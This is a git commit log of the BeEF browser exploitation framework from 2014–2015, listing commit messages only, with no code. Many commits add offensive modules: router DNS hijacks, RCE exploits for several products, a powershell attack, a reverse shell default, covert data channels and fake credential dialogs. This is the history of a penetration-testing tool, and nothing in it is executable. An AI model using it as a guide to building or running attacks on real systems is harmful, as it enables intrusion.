6bdf829126 updated hta_powershell to use updated powersploit so it can properly create sessions 2015-06-12 19:07:02 +00:00
antisnatchor
c75b7a633d Merge branch 'master' of https://github.com/beefproject/beef 2015-06-11 09:59:38 +02:00
antisnatchor
e5407af2a0 Added support for Chrome 43. Added window.fetch detection for better fingerprinting of C42/43. 2015-06-11 09:59:23 +02:00
Brendan Coles
83fa1efe0d Add '/api/server/bind' example 2015-06-09 19:17:19 +00:00
antisnatchor
03ecd61781 Limited /api/server/bind scope to the social_engineering/droppers directory (it could potentially be abused to mount arbitrary files post-auth) 2015-06-09 12:41:50 +02:00
antisnatchor
518fb5d874 Fixed bug in binding local files. 2015-06-09 12:20:20 +02:00
antisnatchor
f66a08f072 Fixed bug in serving static files from the demos directory. 2015-06-09 11:39:07 +02:00
auraltension
375e1a9adf Config file shoudl not be relevant to beef install dir 2015-06-06 16:41:09 +10:00
Brendan Coles
4746829153 Show UI URLs only when Admin UI is enabled 2015-05-17 22:10:09 +00:00
Brendan Coles
d0c48ce026 Add support for Chrome 42 2015-05-17 22:06:59 +00:00
Brendan Coles
e21c8286c5 Add support for Firefox 38 2015-05-17 21:56:16 +00:00
Brendan Coles
87476c5217 QR - Create images directory if does not exist 2015-05-15 03:07:14 +00:00
Brendan Coles
ad87ea7a56 replace backticks with IO.open 2015-05-14 07:43:53 +10:00
Brendan Coles
dad3be1b91 replace backticks with IO.open 2015-05-14 07:14:35 +10:00
Brendan Coles
0261c1d56f Merge pull request #1118 from bcoles/csrf_to_beef
Update csrf_to_beef tool
2015-05-13 03:09:07 +10:00
Brendan Coles
0cc9f53aae Use qr4r gem to generate QR codes 2015-05-12 17:07:58 +00:00
Brendan Coles
aee7aed755 Add Network extension test case stub 2015-05-11 21:52:13 +00:00
Brendan Coles
152ddc5118 csrf_to_beef tool now accepts --url URL as input 2015-05-11 17:58:44 +00:00
Brendan Coles
2220b95b49 Use NAT address - Fix #1116
Thanks @danilo-massa
2015-05-09 18:33:28 +00:00
radoen
4db4354c24 Fixed JSON parsing error to prevent DoS 2015-05-04 09:42:09 +02:00
Brendan Coles
0657a3f1f9 Add support for Firefox 37 2015-04-06 04:37:06 +00:00
Michele Orru
03f6b29506 Merge pull request #1104 from malerisch/master
Kemp Load Master RCE - BeEF module
2015-04-04 11:58:24 +02:00
timcess
63efe9f523 Update README.md 2015-04-03 01:47:12 +05:00
timcess
bdd1f7894a Add DNS Rebinding module and extension 2015-04-03 02:31:02 +06:00
timcess
2247bf6208 Add DNS Rebinding module and extension 2015-04-03 02:30:16 +06:00
timcess
eaa1400f75 Add DNS Rebinding module and extension 2015-04-03 01:04:35 +06:00
Roberto Suggi Liverani
4c7aa8f677 Kemp Load Master RCE - BeEF module
This is a new module for BeEF to exploit a RCE vulnerability in Kemp
Load Master load balancer. More information on this blog post:
http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html
2015-04-01 22:14:35 +02:00
Michele Orru
f973b8dc3e Merge pull request #1103 from tsu-iscd/master
Add first modules for BigIP systems
2015-04-01 10:35:11 +02:00
Denis Kolegov
bff02aaea5 Add first modules for ADC systems 2015-03-31 04:33:10 -04:00
bmantra
86f99d5a51 Merge pull request #1102 from bmantra/master
add iNotes modules for sending mails with attachments and a flooder
2015-03-28 20:48:17 +01:00
bmantra
46113db2b8 add iNotes modules for sending mails with attachments and a flooder 2015-03-28 20:47:21 +01:00
Brendan Coles
791c9d1461 Add support for Chrome 41 2015-03-27 02:12:11 +00:00
antisnatchor
32434075f8 Removed loading of deleted file.rb after Rack update. 2015-03-25 10:54:37 +01:00
antisnatchor
6fcca972c8 Removed patched Rack::File after upgrading to Rack 1.6.0. 2015-03-25 10:52:47 +01:00
antisnatchor
90bfca16c6 Removed fixed versions of eventmachine/sinatra/rack from Gemfile 2015-03-25 10:32:46 +01:00
antisnatchor
4126a5530e Fixed bug in forge_request that was not adding the POST body to forged requests. 2015-03-21 12:20:07 +01:00
antisnatchor
1e06bb6c17 Return 'n/a' rather than nil in restful API calls for PF integration 2015-02-27 11:50:38 +01:00
Brendan Coles
75312e4c99 Add support for Firefox 36 2015-02-24 20:06:05 +00:00
Brendan Coles
3b46bf1a94 Add Telstra ZTE MF91 Disable AP Isolation module 2015-02-22 07:51:42 +00:00
Brendan Coles
d863bb8f96 Add Telstra ZTE MF91 Change SSID module 2015-02-22 07:51:04 +00:00
Brendan Coles
c46cd03de8 Add Telstra ZTE MF91 Change Password module 2015-02-22 07:35:56 +00:00
Brendan Coles
abaa6a745d Add D-Link DSL-2640B DNS Hijack module 2015-02-21 10:11:20 +00:00
Brendan Coles
b0526362ad Add target network hosts and services to console 2015-02-21 08:37:00 +00:00
antisnatchor
9d7d0a1071 Merge branch 'master' of https://github.com/beefproject/beef 2015-02-17 12:19:39 +01:00
antisnatchor
ff9da502cb surrounding InitDeviceScan in try/catch in case something wrong happens. This prevents the hook to die 2015-02-17 12:19:09 +01:00
Brendan Coles
1c7663f96d Use arguments 2015-02-09 08:51:18 +00:00
Brendan Coles
54b58c2e72 Use data stream/channel (Required by Chrome) 2015-02-09 08:50:36 +00:00
antisnatchor
bf0f59e5d0 Fixed a bug in the tunneling proxy (missing \r\n in some specific conditions when HTTP version is HTTP/1.1) 2015-02-08 13:39:04 +01:00
Michele Orru
add6059a8c Merge pull request #1097 from bcoles/rest_api_examples
Add RESTful API example code
2015-02-08 12:05:50 +01:00
Brendan Coles
f26302c52b Add RESTful API example code 2015-02-08 04:15:19 +00:00
Brendan Coles
803e153f8c Prevent duplicates 2015-02-07 15:51:55 +00:00
Brendan Coles
0afac0171d Make ports configurable 2015-02-07 12:51:00 +00:00
Brendan Coles
f5d2c2028b Replace 'console.log' with 'beef.debug' 2015-02-07 05:35:09 +00:00
Brendan Coles
73e16e4aff Allow web server imitation to hook server web root and 404 responses 2015-02-07 05:18:06 +00:00
Brendan Coles
234a6e2016 Remove foxit detection from hook init 2015-02-07 04:38:12 +00:00
Brendan Coles
fbe56bf9f1 Add Shuttle Tech 915WM DNS Hijack module 2015-02-07 04:35:16 +00:00
antisnatchor
d569c63be3 Merge branch 'bcoles-network_extension' 2015-02-05 12:35:48 +01:00
antisnatchor
944ba747da Fixed a bug in WebRTC command module, prevented duplicates in NetworkHost db table, removed unnecessary code. 2015-02-05 12:35:23 +01:00
antisnatchor
5fc1294ca1 Merge branch 'network_extension' of https://github.com/bcoles/beef into bcoles-network_extension 2015-02-05 10:26:14 +01:00
Brendan Coles
c099be75ed Use filters 2015-02-04 08:36:44 +00:00
Brendan Coles
f329c7331a Report identified service to network extension 2015-02-03 19:07:26 +00:00
Brendan Coles
c69b6412e0 Add support for localhost at NetworkHost 2015-02-03 17:40:11 +00:00
Brendan Coles
c28d53aa41 Add signatures 2015-02-03 17:36:28 +00:00
antisnatchor
23cf229dad Merge branch 'network_extension' of https://github.com/bcoles/beef into bcoles-network_extension 2015-02-03 15:22:33 +01:00
Brendan Coles
6809ec9914 Fix typo 2015-02-02 01:37:37 +00:00
Brendan Coles
d39da9a67b Add support for Chrome 40 2015-02-02 00:53:40 +00:00
Brendan Coles
7e3ee5fc50 Record OS 2015-02-01 02:06:52 +00:00
Brendan Coles
4ff2a09552 Reload grid on render 2015-02-01 02:05:35 +00:00
Brendan Coles
e11ab70c61 Reload grid on render 2015-01-31 22:51:30 +00:00
Brendan Coles
4b8aa2d0a2 Add signatures 2015-01-31 21:48:53 +00:00
Brendan Coles
7fc65a70af Add port scanning to network extension 2015-01-31 21:43:01 +00:00
Brendan Coles
fef015709b Update context menu 2015-01-30 22:10:48 +00:00
Brendan Coles
0623b8f667 Add Fingerprint Routers module 2015-01-30 21:16:29 +00:00
Brendan Coles
1838b6c24a Add D-Link DSL-2740R DNS Hijack module 2015-01-30 06:58:15 +00:00
Brendan Coles
16ecb32e46 Report identified hosts to network extension 2015-01-30 06:57:01 +00:00
Brendan Coles
53a05d1901 Add extension description 2015-01-29 18:00:05 +00:00
Brendan Coles
24dab8b1c9 UI - return if user cancels prompt 2015-01-29 16:01:19 +00:00
Brendan Coles
5b33389746 Add Philips and TP-Link DNS hijack modules 2015-01-25 18:53:09 +00:00
Brendan Coles
d3165c2d97 Fix logo in IE 2015-01-25 18:45:35 +00:00
Brendan Coles
8664f694dc Update Belkin DNS module 2015-01-25 18:33:25 +00:00
Brendan Coles
5d9c62967d Add options to scan commonly used LAN IPs 2015-01-24 18:26:15 +00:00
Brendan Coles
d75adc0899 Add context menu for empty Hosts grid 2015-01-20 15:36:28 +00:00
Brendan Coles
b105288a9b Add Identify LAN Subnets module 2015-01-20 15:19:09 +00:00
Brendan Coles
1318ccf019 remove payload url 2015-01-20 12:18:50 +00:00
Brendan Coles
a168274e7e update supported browsers in module configs 2015-01-20 11:41:45 +00:00
Brendan Coles
df08d99cd5 Report identified hosts to network extension 2015-01-20 11:36:50 +00:00
Brendan Coles
1ab979553c Add Get HTTP Servers module 2015-01-20 11:36:49 +00:00
Brendan Coles
631bc1e9ef Add Network panel to admin UI 2015-01-20 11:36:49 +00:00
Brendan Coles
ceab91d53a Add Network extension 2015-01-20 11:36:37 +00:00
Brendan Coles
bf75e61382 Add Cross-Origin Scanner module 2015-01-09 21:05:59 +00:00
Brendan Coles
c0fe6dfcfa Add not_working to module 2015-01-09 21:04:40 +00:00
Brendan Coles
eb2a380c92 Replace console.log with beef.debug 2015-01-08 16:25:50 +00:00
Brendan Coles
9e28e9075d do not load webrtcadapter.js lib unless webrtc extension is enabled 2015-01-07 12:34:49 +00:00
Wade Alcorn
b3df91a8c5 Merge branch 'master' of github.com:beefproject/beef 2015-01-07 14:10:51 +10:00
Brendan Coles
615fd63825 Add RFI Scanner module 2015-01-06 10:42:04 +00:00
Brendan Coles
8a8ea35265 Module clean up 2015-01-06 10:27:10 +00:00
Brendan Coles
a9833fd538 Add Apache Felix Remote Shell module 2015-01-01 21:16:56 +00:00
Wade Alcorn
2fbca61368 Updated copyright dates 2014-12-30 07:44:58 +10:00
Wade Alcorn
67c06f17b7 Updated version number to 0.4.6.0 2014-12-30 07:30:58 +10:00
Brendan Coles
3944477b29 Add support for Chrome 39 2014-12-26 13:02:12 +00:00
Brendan Coles
617b46527d Add support for Firefox 35 2014-12-26 12:42:17 +00:00
Christian Frichot
74c8dc7bcd Add WebRTC Extension PoC. Disabled by default, for now. See Issue #1082 2014-12-23 15:38:02 +08:00
Brendan Coles
b0cfe3cfdb Merge pull request #1079 from thenaterhood/master
Fix sourcing rvm script as root on Ubuntu 14.04LTS
2014-12-22 00:47:56 +11:00
Michele Orru
d6cbc63da4 Merge pull request #1080 from ovbroslavsky/master
Search over modules
2014-12-18 15:17:31 +01:00
Oleg Broslavsky
a96867b6cd One more fix to module search 2014-12-18 17:52:07 +07:00
Oleg Broslavsky
9268ba9f5e Little code refactoring in module search files 2014-12-18 17:47:08 +07:00
Oleg Broslavsky
294a7cb5c6 Add module search JS to uglifier 2014-12-16 17:47:05 +07:00
Oleg Broslavsky
1c2559fe4a Search panel ui 2014-12-16 17:45:01 +07:00
Nikita Oleksov
b905455e8b Added searching 2014-12-15 23:52:09 +07:00
Nate Levesque
4193709845 Fix sourcing rvm script
Uses the system-wide rvm script if the local (user) one doesn't exist.
2014-12-13 15:46:40 -05:00
Michele Orru
80a9f8ed3b Merge pull request #1078 from kxynos/patch-1
Update command.js
2014-12-10 10:30:09 +01:00
antisnatchor
decdb6c39d Fixed bind_powershell to work in NAT-like envs where beef.http.public is used. 2014-12-10 10:21:46 +01:00
Kosta Xynos
352b7cd07f Update command.js
Uncommented working code, removed static test variable
2014-12-09 12:55:10 +00:00
Brendan Coles
979493c61f Add support for Firefox 34 2014-12-09 00:27:04 +00:00
Brendan Coles
63c2485e75 Add client debug info and decode html entities 2014-12-06 10:20:44 +00:00
Brendan Coles
614b065115 Merge pull request #1076 from acaulfield/patch-1
Added fingerprint for Jenkins
2014-12-04 17:10:24 +11:00
Brendan Coles
2ff49ecb79 chmod +x 2014-12-04 06:10:05 +00:00
Brendan Coles
46ac92f668 Merge pull request #1069 from tyll/certificate
Add new example certificate
2014-12-04 16:56:45 +11:00
Anthony Caulfield
a1e172ba0a Added fingerprint for Jenkins 2014-12-04 16:48:45 +11:00
Brendan Coles
ec1db7233d Use command_id for iframe name 2014-11-30 15:41:57 +00:00
Brendan Coles
faf1884a4c Load gmail images from HTTPS 2014-11-30 07:25:01 +00:00
Brendan Coles
38fa28658f Update LinkedIn logo 2014-11-30 07:08:54 +00:00
Brendan Coles
9e7f46cb8a Add Jenkins RCE CSRF 2014-11-30 05:36:47 +00:00
Brendan Coles
2785dccdf0 Remove author 2014-11-23 23:03:18 +00:00
Brendan Coles
a99b6173d9 Add author 2014-11-23 22:59:53 +00:00
Brendan Coles
1649b87567 Fix YAML for Ruby 1.9.2 2014-11-23 22:54:03 +00:00
bmantra
029ae3d66d Merge pull request #1073 from bmantra/master
module for IBM iNotes
2014-11-21 21:27:22 +01:00
bmantra
02a1b5b4a0 module for IBM iNotes 2014-11-21 21:25:31 +01:00
Brendan Coles
5fafe02781 Add gitignore.io to .gitignore 2014-11-18 08:14:21 +00:00
Till Maas
62d7a6c598 Add new example certificate
Update the expired certificate with a new one and add a certificate
generation script.
2014-11-12 22:13:24 +01:00
Michele Orru
caebadf158 Merge pull request #1066 from tsu-iscd/master
Added DNS and ETag covert channels
2014-11-08 13:38:02 +01:00
Michele Orru
99f873b19b Merge pull request #1067 from ovbroslavsky/master
OS detection: add support for Windows 8.1
2014-11-08 13:31:20 +01:00
Oleg Broslavsky
9d22c09f9d Add support for Windows 8.1 2014-11-08 19:06:20 +07:00
Denis Kolegov
75cf0a1cdf Update module.rb 2014-11-07 09:07:44 +06:00
Denis Kolegov
8cdb9f990a Update module.rb 2014-11-07 09:06:57 +06:00
Denis Kolegov
c573c5bd46 Update command.js 2014-11-07 09:04:43 +06:00
dnkolegov
debd3bc2c9 Added DNS and ETag covert channels 2014-11-06 03:28:48 -05:00
Brendan Coles
cc0993a2eb Add Shell Shock Scanner module 2014-10-30 00:09:18 +00:00
Brendan Coles
fb5712131e Re-indent 2014-10-29 21:00:10 +00:00
Brendan Coles
8e3c8e4b88 set reverse shell as default command 2014-10-29 18:07:40 +00:00
Brendan Coles
e8f5c0d265 Add HTTP method option 2014-10-29 17:54:10 +00:00
Brendan Coles
53dd7ee5fb rescue StandardError 2014-10-28 08:18:26 +00:00
Brendan Coles
6f1f8cf65c add menu separator and delete icon 2014-10-28 08:14:22 +00:00
bmantra
00b6b42951 Merge pull request #1064 from bmantra/master
delete old zombies via REST api and UI closes #762
2014-10-27 20:29:04 +01:00
bmantra
52f7a9cbca delete old zombies via REST api and UI #762 2014-10-27 20:27:39 +01:00
bmantra
30cfb7002d delete old zombies via REST api and UI #762 2014-10-27 20:17:17 +01:00
Brendan Coles
451ff7d002 Add support for Firefox 33 2014-10-19 05:25:24 +00:00
Brendan Coles
13bcc9bbee Add try/catch to getDefaultBrowser() 2014-10-18 12:54:01 +00:00
Brendan Coles
22a4fdb047 Prefer TLSv1 over SSLv3 2014-10-18 11:47:52 +00:00
Brendan Coles
ee2ebc26b3 Add metasploit extension REST API /msf 2014-10-13 17:34:49 +00:00
antisnatchor
7aec038505 I though PHP was so shit that param names were case-insensitive. I was wrong :-) 2014-10-13 14:37:55 +02:00
antisnatchor
1f6278ca91 Changed array index position for PhishingFrenzyUID entry in restful api call 2014-10-13 13:55:08 +02:00
antisnatchor
610985268c Added support for Chrome 38 2014-10-13 11:57:26 +02:00
antisnatchor
50a9784606 Added PhishingFrenzy integration config option and code 2014-10-13 11:51:25 +02:00
Brendan Coles
01758a12ef Support HTTPS 2014-10-11 16:47:25 +00:00
Brendan Coles
cb7a36e8dc Fix Phonegap_persistence config 2014-10-11 15:36:08 +00:00
Brendan Coles
04b3bee8cf Fix get_hb_details 2014-10-11 05:29:30 +00:00
Brendan Coles
d45c116414 Add support for Safari 8 2014-10-09 13:02:57 +00:00
Brendan Coles
37046464a3 Comment and re-indent 2014-10-09 12:43:40 +00:00
antisnatchor
46ca236c10 Added support for Safari 7. 2014-10-09 13:31:23 +02:00
antisnatchor
18efaf7f52 Adding separate restful api call for offline browsers only (phishing-frenzy integration) 2014-10-09 12:34:10 +02:00
antisnatchor
79947ab6eb Fixed typo coming from last pull request merge preventing hooking to work. 2014-10-09 11:04:55 +02:00
Michele Orru
9b92e0da35 Merge pull request #1059 from richo/ie-checks
Ie checks
2014-10-09 09:55:39 +02:00
Richo Healey
a134e535c2 Add browser.capabilities
This removes some janky IE sniffing, and instead provides the beginning
of a simple place to do capability based checks.
2014-10-08 22:04:22 -07:00
Richo Healey
1e88894c98 Whitespace 2014-10-08 21:54:58 -07:00
antisnatchor
4c945e018e Added geolocation info to PF restufl api call 2014-10-08 11:49:29 +02:00
antisnatchor
cfa8a4ae26 Merge branch 'master' of https://github.com/beefproject/beef 2014-10-07 15:22:14 +02:00
antisnatchor
209a488c77 Added restful api call for phishing-frenzy integration 2014-10-07 15:19:47 +02:00
Brendan Coles
3a9c027ef3 Add msf-exploits.cache to .gitignore 2014-10-06 19:51:59 +00:00
Brendan Coles
411399f4cf Network fingerprinting - throttle connections and clean-up
Part of #854

* Re-indent
* Add new signatures
* Comment-out uncommon signatures
* Add worker queues
* Throttle connections
* Remove scan iframes on timeout
2014-10-06 19:00:00 +00:00
Wade Alcorn
252f58e3b9 Merge pull request #1058 from radoen/master
shell shocked BeEF module
2014-09-29 12:39:30 +10:00
radoen
cd06076d92 fixed accept type 2014-09-28 13:44:05 +02:00
radoen
ff1199ab87 added module for shell shocked 2014-09-28 13:35:28 +02:00
Brendan Coles
9e43f0b68e Add support for Chrome 37 2014-09-28 04:52:32 +00:00
Brendan Coles
4fcc1dc562 Allow DNS lookups on zombie IP addresses 2014-09-28 04:25:20 +00:00
Brendan Coles
22dbc2efbe Merge pull request #1052 from tyll/support_CONNECT
Support HTTPS via CONNECT in proxy extension
2014-09-27 17:14:45 +10:00
Brendan Coles
76ce3babe2 Add demos handler.rb #1044 2014-09-27 05:29:28 +00:00
Brendan Coles
2683c3d587 Merge pull request #1044 from bcoles/demos_erubis
Add Erubis to Demos extension
2014-09-27 13:55:05 +10:00
Brendan Coles
0441868e59 Merge pull request #1054 from tyll/abspath
Support absolute paths for HTTPS key and cert
2014-09-27 11:10:28 +10:00
Till Maas
c35286da59 Support absolute paths for HTTPS key and cert 2014-09-26 11:13:41 +02:00
Brendan Coles
d4736e071f Merge pull request #1051 from tyll/https
Do not assume 80 to be the default port for HTTPS
2014-09-25 05:09:04 +10:00
Till Maas
7e18f6255e Support HTTPS via CONNECT in proxy extension 2014-09-24 16:53:56 +02:00
Till Maas
7c5011ac97 Do not assume 80 to be the default port for HTTPS
The default port for HTTPS is 443, therefore use it and not 80 if no
specific port is set.
2014-09-24 13:04:48 +02:00
Brendan Coles
8653356810 Merge pull request #1045 from evoltech/master
This is needed for BeEF to work on Ubuntu Trusty 64bit ruby-1.9.3-p448 (...
2014-09-15 19:50:50 +10:00
Mr. Evoltech
893afe0317 This is needed for BeEF to work on Ubuntu Trusty 64bit ruby-1.9.3-p448 (via rvm) 2014-09-14 16:30:32 -07:00
Brendan Coles
9266cc9e41 Fix Fake Flash module
* Fix bug where UI wasn't hidden onclick
* Gray out browser window on popup
* Re-indent
2014-09-14 16:34:09 +00:00
antisnatchor
85937f7f70 Added sample MS Word and MS Excel documents with macros, to be used with the powershell attack vector. 2014-09-08 15:25:53 +02:00
antisnatchor
ec203935de Simplified HTA-powershell attack module 2014-09-08 14:28:04 +02:00
antisnatchor
bc56be0a7f Added a generic handler for powershell-related attacks. 2014-09-08 14:07:09 +02:00
antisnatchor
c24a8c2ec5 Added @insertscript module to break-out from SiteKiosk 2014-09-07 23:18:41 +02:00
Brendan Coles
a18a74c82a Add support for Firefox 32 2014-09-06 14:09:50 +00:00
Brendan Coles
ee8176b2ba Add software enumeration 2014-09-06 13:25:23 +00:00
Brendan Coles
ccc8a5a02d Add Erubis to Demos extension
Change demo pages to load hook from beef.http.hook_url
instead of '/hook.js'

Fix #1024
2014-09-06 08:21:37 +00:00
Brendan Coles
a40e8ca8de Replace console.error with beef.debug 2014-08-31 02:01:55 +00:00
Brendan Coles
f6eb275f3f Add patch enumeration 2014-08-31 01:59:58 +00:00
Michele Orru
ad95ce8179 Merge pull request #1038 from sgorbaty/master
Phonegap module maintenance
2014-08-22 00:47:00 +02:00
Sergey Gorbaty
23eab81d2a Improved prompt module to include default text supported by Phonegap 2.8 2014-08-21 11:22:19 -07:00
Sergey Gorbaty
9942edc118 Fixing bug when email or phone number is empty 2014-08-21 11:20:48 -07:00
Sergey Gorbaty
8ccc8f8b2e New alert user module 2014-08-21 11:20:19 -07:00
Brendan Coles
1ac84fea9d Merge pull request #1037 from alessio-pascolini/master
Change path of mestaploit for Backbox
2014-08-17 09:18:24 +10:00
alessio-pascolini
d49588b74a Change path of mestaploit for Backbox 2014-08-16 15:28:47 +02:00
bmantra
450753a9bc Merge pull request #1035 from bmantra/master
wordpress malicious plugin => BeEF Bind PHP
2014-07-29 11:30:28 +02:00
bmantra
c8e5260820 wordpress malicious plugin => BeEF Bind PHP 2014-07-29 11:31:25 +02:00
bmantra
0da381c486 Merge pull request #1033 from bmantra/master
add sudo to copy of beefbind
2014-07-19 20:54:30 +02:00
bmantra
e7884381f4 add sudo to copy of beefbind 2014-07-19 20:50:41 +02:00
bmantra
06717b4077 Merge pull request #1032 from bmantra/master
add beef bind metasploit modules to live cd closes #934
2014-07-19 20:12:17 +02:00
bmantra
2d3ac97f5e add beef bind metasploit modules to live cd #934 2014-07-19 19:50:11 +02:00
BWZ
d7e062ea67 LiveCd - removed old script 2014-07-16 19:16:11 +10:00
BWZ
11d63bc6a8 LiveCD - script permission bug fix 2014-07-16 19:16:00 +10:00
antisnatchor
93b053b5a9 Changed default obfuscation techniques for the evasion extension. 2014-07-01 16:10:36 +02:00
antisnatchor
811b490615 Added a new string to be scrambled by default if evasion extension is enabled. 2014-07-01 16:05:48 +02:00
antisnatchor
b16d35232a Improved HTA_powershell module. Now using @mattifestation payload and supporting x86 and x86_64 targets. 2014-07-01 11:58:32 +02:00
antisnatchor
6b93b09c2f #970 Updated DNS tunnel debug module config.yaml description 2014-06-29 13:20:11 +02:00
antisnatchor
d1688395ae #970 Added string to DNS requests to differentiate between normal and data-extrusion DNS requests 2014-06-29 13:04:51 +02:00
antisnatchor
f7df45ebd1 #970 Modified dns.js to support the current way we send data from client to server using DNS. 2014-06-29 12:31:59 +02:00
antisnatchor
2c9633f08f #970 Added debug module to test DNS tunnel (client-to-server). 2014-06-29 12:31:06 +02:00
antisnatchor
015693038a Merge branch 'master' of https://github.com/beefproject/beef 2014-06-29 11:38:34 +02:00
antisnatchor
aafceec4cb Disabled legacy DNS-tunnel IPC module. 2014-06-29 11:37:55 +02:00
Michele Orru
1681f69511 Merge pull request #1027 from soh-cah-toa/master
DD-WRT v24 SP1 CSRF and RCE Modules
2014-06-28 17:20:23 +02:00
antisnatchor
fb0cd7a195 #970 started working on client-to-server DNS channel. 2014-06-28 15:23:50 +02:00
antisnatchor
cf4252585a Added HTA-powershell client-side attack (IE only). 2014-06-27 11:44:39 +02:00
antisnatchor
9f76913b11 Fixed bug that was preventing dynamic payload options to be set with metasploit modules. 2014-06-25 13:27:07 +02:00
soh_cah_toa
f490faa858 Added module for DD-WRT v24 SP1 RCE vulnerability (issue #1006). 2014-06-16 09:56:27 -04:00
soh_cah_toa
fd46915bf2 Added module for DD-WRT v24 SP1 CSRF vulnerability (issue #1006). 2014-06-16 09:48:14 -04:00
soh_cah_toa
ce8e943be7 Merge branch 'master' of git://github.com/beefproject/beef 2014-06-16 09:44:53 -04:00
BWZ
76d750681f livecd fix for permission issues 2014-06-15 18:15:57 +10:00
BWZ
055b5eec32 fixes bug in enabling livecd ssh 2014-06-15 17:14:36 +10:00
Brendan Coles
8e55545abd Add support for Firefox 30 & 31 2014-06-12 09:26:19 +00:00
Michele Orru
a4cbb9f74d Merge pull request #1023 from Nbblrr/master
Fixes the bug in rickroll module (#1017)
2014-06-05 11:04:20 +02:00
Nbblrr
d0fbba2e2d Fixes bug in rickroll module (#1017) 2014-06-05 10:53:20 +02:00
Brendan Coles
32fab589d6 Add Asus RT Series Get Info module 2014-05-20 16:59:40 +00:00
Brendan Coles
dbeedb1d92 Use beef.net for URI 2014-05-10 09:50:38 +00:00
Brendan Coles
195e2ab830 return error message
prevents HTTP 404 iframe for '/lp/indexFF.html'
2014-05-10 19:01:00 +10:00
Christian Frichot
6e50384719 Fake Chrome Evernote Clipper Extension authentication dialog. A new SE module 2014-05-07 19:13:04 +08:00
Christian Frichot
55e36ff095 Detect the presense of Evernotes Clipper Extension in Chrome 2014-05-07 19:11:27 +08:00
Christian Frichot
0ec566ac95 Updates to Fake Lastpass module. New impersonates updated Chrome extension. No longer pretends to target FF 2014-05-07 19:09:07 +08:00
Christian Frichot
f628ce7ae9 Browser Module to remove the BeEF hook.js script element 2014-05-07 18:57:26 +08:00
Michele Orru
8e6125f8c6 Merge pull request #1013 from bcoles/firephp
Add FirePHP <= 0.7.1 RCE module
2014-05-05 14:39:20 +02:00
Brendan Coles
abe1370a50 Add FirePHP <= 0.7.1 RCE module
@Wireghoul

Fixes issue #885
2014-05-05 10:32:59 +00:00
Michele Orru
4c2f80a3bc Merge pull request #1009 from soh-cah-toa/master
DNS Extension 2.0 Reimplementation
2014-05-05 12:11:38 +02:00
Brendan Coles
cd311b00e9 Merge pull request #1011 from thialfihar/make-curl-follow-redirects-on-github
Make curl follow redirects on github @thialfihar
2014-05-05 04:08:58 +10:00
Thialfihar
9068f91a63 Make curl follow redirects on github
GitHub has started to redirect raw.github.com to
raw.githubusercontent.com, breaking the installation scripts.
Paramter -L makes curl follow the redirect.
2014-05-04 13:16:58 +02:00
soh_cah_toa
bac0b5c57f Merge remote-tracking branch 'upstream/master' 2014-05-04 00:28:29 -04:00
soh_cah_toa
07f1594a7a Removed old DNS RESTful API temporary test suite.
Previously, this was used to make writing tests easier without having to
run the entire integration test suite (of which it is still a part of).
Somehow it accidentally got committed.
2014-05-03 20:42:40 -04:00
soh_cah_toa
6bf0f9d648 Updated DNS spoofer in social engineering extension. 2014-05-02 22:21:56 -04:00
Brendan Coles
e8e4180eee Fix regex 2014-05-01 16:36:01 +10:00
Brendan Coles
c61dee7275 Add support for Firefox 29
* https://developer.mozilla.org/en-US/Firefox/Releases/29
* https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/codePointAt
2014-05-01 02:33:43 +10:00
Michele Orru
5d3df16dc7 Merge pull request #1005 from zeroSteiner/rest-api-version
Support pulling the server version through the REST API
2014-04-29 11:18:24 +02:00
soh_cah_toa
8dac5c95eb Fixed #is_valid_domain? regex to include appended dot. 2014-04-28 22:21:39 -04:00
soh_cah_toa
e1c27f4feb Removed support for TXT resource record.
Like the HINFO and MINFO RR's, TXT is vulnerable to RCE attacks and has
no purpose at the moment. TXT may be needed in the future (e.g. data
exfiltration) which is why it has been removed separately.
2014-04-28 20:34:56 -04:00
soh_cah_toa
26cd0f08ad Removed support for HINFO and MINFO resource records.
These RR's are very difficult to validate and, in their current state,
are vulnerable to RCE attacks. Furthermore, BeEF does not have a use for
these RR's.
2014-04-28 20:28:47 -04:00
soh_cah_toa
c63a55962a Added unless modifier to prevent displaying no upstream servers.
Even though #print_more will display nothing since ''.split("\n").each()
iterates 0 times, it will still be called without this modifier which is
unnecessary.
2014-04-28 20:20:32 -04:00
Kevin Polulak
e8fc288ff7 Merge pull request #2 from bcoles/patch-2
Update model.rb - Throw 'UnknownDnsResourceError'
2014-04-28 20:14:48 -04:00
Kevin Polulak
fc024c8a8c Merge pull request #1 from bcoles/patch-1
use up_protocol in banner
2014-04-28 20:10:22 -04:00
Spencer McIntyre
76c09aa38a Support pulling the server version through the REST API 2014-04-28 15:35:01 -04:00
Christian Frichot
fe14601dfc Added -i --interactive option at commandline to launch console shell 2014-04-27 07:12:53 +08:00
Brendan Coles
e6b74d5186 Update model.rb - Throw 'UnknownDnsResourceError'
Throw `UnknownDnsResourceError` instead of `InvalidDnsResourceError`

Prevents `[20:30:55][!] Internal error while adding DNS rule (uninitialized constant BeEF::Core::Models::Dns::Rule::InvalidDnsResourceError)` for invalid user supplied DNS response types.

'BeEF::Core::Models::Dns::Rule::InvalidDnsResourceError' does not exist, and it's unlikely we'll need to differentiate between invalid and unknown resource types.
2014-04-27 00:14:25 +10:00
Brendan Coles
0438cf422f use up_protocol in banner 2014-04-26 21:50:46 +10:00
soh_cah_toa
3b3d7fe95e Moved Thread/EventMachine creation inside of #run.
This cleans up the API a bit by removing the requirement of placing #run
inside a Thread.new {EventMachine.next_tick {}} block. That should not
be the caller's responsibility.
2014-04-25 13:14:43 -04:00
soh_cah_toa
9b3dfacce1 Added support for upstream nameservers.
Previously, upstream nameservers were configured by default even if the
config file did not specify them. Now upstream nameservers are only
used if they are specified. If none are given, then NXDOMAIN is
returned for unresolvable requests.
2014-04-25 13:06:33 -04:00
soh_cah_toa
82e4b1eac7 Implemented default DNS address/port/protocol values.
Even though it is unlikely that a user would remove these options from
the DNS config file, it is still good practice to have these safeguards
in place.
2014-04-25 10:32:19 -04:00
soh_cah_toa
1d5afbb81e Added Dns::Server attribute to DNS REST router.
This is primarily intended to add clarity by reducing clutter. Moreover,
it also has the side effect of improving performance very slightly by
removing the overhead of calling #instance numerous times.
2014-04-25 10:14:05 -04:00
soh_cah_toa
2e318030da Fixed typo in debug message for #process. 2014-04-25 10:09:38 -04:00
bcoles
34ec20cd0d Update version to 0.4.5.1-alpha 2014-04-25 16:12:25 +09:30
soh_cah_toa
